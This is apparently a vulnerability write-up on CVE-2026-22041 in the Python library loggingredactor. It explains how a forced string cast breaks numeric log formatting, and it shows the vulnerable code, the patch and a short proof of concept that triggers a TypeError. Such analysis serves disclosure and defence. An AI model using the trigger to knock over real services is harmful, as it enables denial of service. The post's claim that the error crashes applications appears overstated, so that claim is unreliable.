Redaction via Destruction: Crashing Python Logs with CVE-2026-22041
Jan 8, 2026·5 min read
Executive Summary (TL;DR)
The `loggingredactor` library (versions < 0.0.6) attempts to sanitize logs by forcefully converting all inputs to strings. This breaks standard Python logging behavior when using type-specific placeholders like `%d` or `%f`, leading to application crashes or silent logging failures.
A logic error in `loggingredactor` treats all log arguments as strings, causing fatal TypeErrors in Python's logging module when numeric format specifiers are used.
The Hook: When Security Tools Attack
We install security libraries to sleep better at night. We expect them to silently scrub Personal Identifiable Information (PII) from our logs, keeping us compliant and safe from leaks. We do not expect them to murder our application threads because we dared to log an integer.
Meet CVE-2026-22041 in loggingredactor. This library implements a RedactingFilter designed to intercept log records and regex-replace sensitive patterns. It's a noble goal. However, in versions prior to 0.0.6, the library adopted a "scorched earth" policy toward data types. It assumed that if it didn't recognize a variable as a list or a dictionary, it must be a string—or it should be forced to become one.
This is the story of a helper library that helped a little too much, turning benign status updates into application-crashing exceptions.
The Flaw: A Case of Aggressive Casting
The root cause lies in how the redact method handled recursion. The developer needed to walk through complex objects (like nested JSON) to find strings to mask. They handled lists, tuples, and dictionaries correctly. But for everything else—the else block—they got lazy.
Instead of checking if the value was actually a string before applying regular expressions, the code blindly cast everything to str. The logic used a classic Python idiom: isinstance(content_copy, str) and content_copy or str(content_copy).
This is fine if you are just printing to stdout. It is catastrophic if you are inside Python's logging pipeline. When a developer writes logger.info("User ID: %d", 12345), the logging system expects the argument 12345 to remain an integer so it can satisfy the %d (decimal) formatter. loggingredactor intercepted this integer, converted it to the string "12345", and handed it back. The logging formatter then choked, screaming TypeError: %d format: a number is required, not str.
The Code: The Smoking Gun
Let's look at the diff. The vulnerability exists in loggingredactor/redacting_filter.py. The original code essentially said: "If I don't know what this is, make it a string and run regex on it."
Vulnerable Code (< 0.0.6):
def redact(self, content, key=None):
# [ ... dictionary and list handling ... ]
else:
# The Fatal Flaw: Force conversion to string
content_copy = isinstance(content_copy, str) and content_copy or str(content_copy)
for pattern in self._mask_patterns:
content_copy = re.sub(pattern, self._mask, content_copy)
return content_copyIn the patched version, the maintainers realized that integers and floats don't usually contain credit card numbers (and if they do, they are numbers, not strings). They switched to an opt-in model: only run regex if it's already a string.
Patched Code (v0.0.6):
# [ ... ]
elif isinstance(content_copy, str):
# Only touch it if it's already a string
for pattern in self._mask_patterns:
content_copy = re.sub(pattern, self._mask, content_copy)
# Implicit else: return content_copy as-isThe Exploit: Crashing the Pipeline
Exploiting this doesn't require complex buffer overflows or heap grooming. You just need to trigger a log message that uses a numeric format specifier. If an attacker can influence the code path to hit such a log line, they can cause a Denial of Service.
Here is a Proof of Concept demonstrating the crash:
import logging
import re
from loggingredactor import RedactingFilter
# 1. Setup the vulnerable filter
redactor = RedactingFilter(mask_patterns=[re.compile(r'\d{3}')])
# 2. Attach it to a logger
logger = logging.getLogger("victim")
handler = logging.StreamHandler()
handler.addFilter(redactor)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
print("[+] Attempting to log a number...")
try:
# 3. Trigger the bug
# The redactor turns 42 into "42", causing %d to fail
logger.info("The answer is: %d", 42)
except TypeError as e:
print(f"[!] CRASH: {e}")If this logger.info call is inside a critical loop or an exception handler that doesn't expect logging itself to throw, the application thread will terminate.
The Impact: DoS and Blind Spots
The immediate impact is Denial of Service (DoS). In a web server context (like Flask or Django), an uncaught exception during request processing typically results in a 500 Internal Server Error. If the logging call happens during startup or a critical background task, the entire service could exit.
There is also a secondary impact regarding Availability of Logs. Even if the application catches the exception, the log entry is lost. Security teams relying on these logs for auditing or incident response will find gaps exactly where the numeric data (IDs, error codes, transaction amounts) should have been.
[!NOTE] The fix introduces a trade-off. In v0.0.6+, non-string types are ignored. If you somehow managed to store a credit card number as a massive integer or floating-point number,
loggingredactorwill no longer mask it. It's a classic "fail-open" vs. "fail-closed" debate, and in this case, they chose to keep the application running over theoretical redaction edge cases.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
loggingredactor armurox | < 0.0.6 | 0.0.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-704 (Incorrect Type Conversion) |
| Attack Vector | Local / Network (Triggerable via log inputs) |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (Application Crash) |
| Language | Python |
| Fix Status | Patched in v0.0.6 |
MITRE ATT&CK Mapping
The software converts a resource from one type to another, but the conversion is not performed correctly or leads to data loss/corruption that affects downstream components.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.